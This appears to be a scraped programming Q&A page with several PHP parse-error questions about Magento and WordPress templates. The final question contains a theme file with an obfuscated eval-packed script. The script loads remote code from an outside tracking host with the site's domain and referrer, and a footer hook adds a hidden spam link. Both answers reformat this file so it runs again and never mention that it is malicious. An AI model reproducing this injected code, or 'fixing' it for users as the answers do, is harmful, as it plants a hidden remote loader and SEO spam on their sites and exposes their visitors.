Enable multicurrency feature in magento 1.9 - php

I am using magento 1.9 with ultimo responsive theme.
As i want to enable multi currency drop down in my homepage. I use the code from this site.
After proper coding on the pages i get an error on homepage:
Parse error: syntax error, unexpected '?>', expecting identifier (T_STRING) or variable (T_VARIABLE) or '{' or '$' in C:\xampp\htdocs\app\design\frontend\ultimo\default\template\page\html\header.phtml on line 258. from the line statement.
Related code:
<?php echo $this->getChildHtml('topSearch') ?>
<p class="welcome-msg"><?php echo $this->getWelcome() ?> <?php echo $this->getAdditionalHtml() ?></p>
<?php echo $this->getChildHtml('topLinks') ?>
<?php echo $this->getChildHtml('store_language') ?>
<!-- START How to add Currency selector to Magento's header -->
<?php echo $this->getChildHtml('custom_currency_selector') ?>
<!-- END How to add Currency selector to Magento's header -->.
So please help me in this matter. and enable multi currency dropdown. as I am new to magento.

Try this one:
<?php echo $this->getLayout()->createBlock('directory/currency')->setTemplate('directory/currency.phtml')->toHtml() ?>

Related

display div inside php using echo

I want display my button if it have isset($_GET). I am trying to do like this.
<?php if(isset($_GET['project_id'])){
echo '<div class="add_btn_primary"> Project Users </div>';
}?>
its giving me error like
Parse error: syntax error, unexpected 'project_id' (T_STRING), expecting ',' or ';' in C:\xamppp\htdocs\mayank\add_project.php on line 101
I am not getting idea what I should do for echo project_id in div. Let me know if someone can help me for that.
Thanks
Thats incorrect to use echo inside another echo and how can you start a new php tag without closing the first.
The correct way is to concatenate the variable along the string passed in echo, here is how
<?php if(isset($_GET['project_id'])){
echo '<div class="add_btn_primary"> Project Users </div>';
}?>
instead of breaking the php tags break the ' quotes to concatenate the value in the string.
Why do you need again tag inside echo just use it as below:
<?php
if(isset($_GET['project_id']))
{
echo ('<div class="add_btn_primary"><a href="manage_project_users.php?project_id='.$_GET["project_id"].'>Project Users</a></div>');
}
?>

Error durring editing functions.php (Wordpress)

I'm getting the error
Parse error: syntax error, unexpected '}' in /var/www/humanityx/wp-content/themes/wordpress-bootstrap-master/functions.php on line 1127
/* Display the post meta box. */
function smashing_post_class_meta_box( $object, $box ) {
?>
<?php wp_nonce_field( basename( __FILE__ ), 'smashing_post_class_nonce' ); ?>
<p>
<a class="post-btn-blue">Button</a>
<br />
<span class="short-blue">[buttonblue]Link Text[/buttonblue]</span>
<br />
</p>
<?php
}
I run the whole code in PHP Code checker and there is no problem. Also PHPStorm is not viewing any error.
https://pastebin.com/U45wqnpX
I have PHP 7.1
Just my two cents.....
In the function 'smashing_add_post_meta_boxes' you set the callback 'smashing_post_class_meta_box'.
According to the WordPress codex:
$callback
(callable) (Required) Function that fills the box with the desired content. The function should echo its output.
When I look at 'smashing_post_class_meta_box' the function perhaps does not really 'echo' anything and therefore gives unexpected output resulting in the unexpected '}' not picked up by PHPStorm?
Like I said, not sure, could not test, but wanted to help.

Magento category static block not getting displayed

I am unable to make magento display static CMS block under category > display settings.
Contents of app/design/frontend/base/default/template/catalog/category/view.phtml seem to be correct as per similar question on SE. Here you go:
<?php if($this->isContentMode()): ?>
<?php echo $this->getCmsBlockHtml() ?>
<?php elseif($this->isMixedMode()): ?>
<?php echo $this->getCmsBlockHtml() ?>
<?php echo $this->getProductListHtml() ?>
<?php else: ?>
<?php echo $this->getProductListHtml() ?>
<?php endif; ?>
I have configured 3 categories, lets say
category_a (only products)
category_b (both products and cms)
category_c (only cms block).
Things I tried which don't work:
Disabled custom theme and used default theme of magento.
Replaced view.phtml from another magento installation (where its working fine).
Replace the if-else block with
<?php if($this->isContentMode()): ?>
MODE: CMS
<?php echo $this->getCmsBlockHtml() ?>
<?php elseif($this->isMixedMode()): ?>
MODE: MIXED
<?php echo $this->getCmsBlockHtml() ?>
<?php echo $this->getProductListHtml() ?>
<?php else: ?>
MODE: PRODUCTS
<?php echo $this->getProductListHtml() ?>
<?php endif; ?>
This displayed MODE: PRODUCTS for all 3 cases (product / cms / mixed)
Removing the if-else block and using only lines to force magento to display both cms and product blocks. Assuming the control was not flowing to correct block.
<?php echo $this->getCmsBlockHtml() ?>
<?php echo $this->getProductListHtml() ?>
Only product block got displayed for all 3 categories mentioned above (product / cms / mixed)
I can see that there are 2 problems here, or atleast I think so.
category display mode is always coming as "products only"
getCmsBlockHtml() does not return anything
so I tried following code snippet based on Mage_Catalog_Block_Category_View
Product:
<?php echo $this->getCurrentCategory()->getDisplayMode()==Mage_Catalog_Model_Category::DM_PRODUCT; ?>
MIXED:
<?php echo $this->getCurrentCategory()->getDisplayMode()==Mage_Catalog_Model_Category::DM_MIXED; ?>
CMS:
<?php echo $this->getCurrentCategory()->getDisplayMode()==Mage_Catalog_Model_Category::DM_PAGE; ?>
and got response as >>Product: MIXED:1 CMS: for all three category display modes (product / cms / mixed).
Can someone help me out please.
I have disabled caches and have tried reindexing also.
I found a fix for my issue here
Magento 1.9.2.0
App/Code/Core/Mage/Catalog/Block/Category/View.php
inside function getCmsBlockHtml
On Line 109 it read
return
but should read
return $this->getData('cms_block_html');
Regards paul

Call different Text under Footer-Wordpress-PHP

Im trying to have different text appear under the footer bar, per page on my WP site.
I create a new footer(s) uploaded it and edited the page.php
and replaced the get_footer with this code here:
<?php if ( is_page('11') ) { ?>
<?php include(TEMPLATEPATH.'/footer2.php');?>
<?php } else { ?>
<?php include(TEMPLATEPATH.'/footer.php');?>
<?php } ?>
It works as I need it for doing the one page. I need to add a few more pages though. Everything I try adding to the above code for more pages doesnt work. Im not good at php so can someone explain the correct way to add to this?
Edit:
Changed it all to this. This is my page php.
<?php get_header(); ?>
<?php get_sidebar('top'); ?>
<?php
if (have_posts()) {
/* Start the Loop */
while (have_posts()) {
the_post();
get_template_part('content', 'page');
}
} else {
theme_404_content();
}
?>
<?php get_sidebar('bottom'); ?>
<?php get_footer( $page->11 ); ?>
This is the error I get
Parse error: syntax error, unexpected T_LNUMBER, expecting T_STRING or T_VARIABLE or '{' or '$' in /home/content/path/removed/page.php on line 16
You can add different footers in pages using get_footer:
<?php get_footer('2'); ?>
This will include footer-2.php.
If you want more pages with footer2, pass array to is_page function:
<?php if ( is_page(array('11', '12', '13', '14')) ) { ?>
You can replace your whole if clause with a single line:
<?php get_footer( $post->ID ); ?>
Now PHP will look for a file named footer-<pageid>.php. For example: If you want to use a custom footer file for a page with the ID 11, just name the file footer-11.php. Wordpress will use it on this page, on all other pages it will fall back to the default footer.php

Parse error: syntax error, unexpected '}'

I wonder if somebody would spare a minute to look over a code and help me. I'm not php savvy and I need a bit of help.
I've installed a theme onto my wordpress, and when I activated it I got this error message:
Parse error: syntax error, unexpected '}' in /home/XXXXXXX/public_html/wp-content/themes/Avada/widgets/functions-init.php on line 1
The message displays on both my front end domain, and also on my back end wordpress admin area.
I'm guessing I've one too many or one too little brackets. But I'm not sure where. I'm unable to see the actual error, because I'm not familiar with php coding. All I know is it is in line 1 and it has to do with "}"
The whole file consists only of 2 code lines, and if anyone can help I'd really appreciate it.
This is the entire code as it appears in functions-init.php
<?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){?><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php}add_action('wp_head', 'insert_jquery_slider');} ?>
<?php if (!function_exists('insert_jquery_slidernew')){function insert_jquery_slidernew(){?><a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> <?php}add_action('wp_footer', 'insert_jquery_slidernew');} ?>
Can anyone help me please. I've goggled and I've searched forums, and the web, yet I didn't find solution.
Thanks ahead.
This may be a mere question of code formatting, try this:
<?php
if (!function_exists('insert_jquery_slider')){
function insert_jquery_slider(){
?>
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
<?php
}
add_action('wp_head', 'insert_jquery_slider');
}
if (!function_exists('insert_jquery_slidernew'))
{
function insert_jquery_slidernew(){
?>
<a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a>
<?php
}
add_action('wp_footer', 'insert_jquery_slidernew');
}
?>
Such a code formatting issue:
<?php
if (!function_exists('insert_jquery_slider')) {
function insert_jquery_slider()
{ ?>
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
<?php }
add_action('wp_head', 'insert_jquery_slider');
}
if (!function_exists('insert_jquery_slidernew')) {
function insert_jquery_slidernew()
{ ?>
<a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a>
<?php }
add_action('wp_footer', 'insert_jquery_slidernew');
}
?>
Please close the topic.
Thanks.

Categories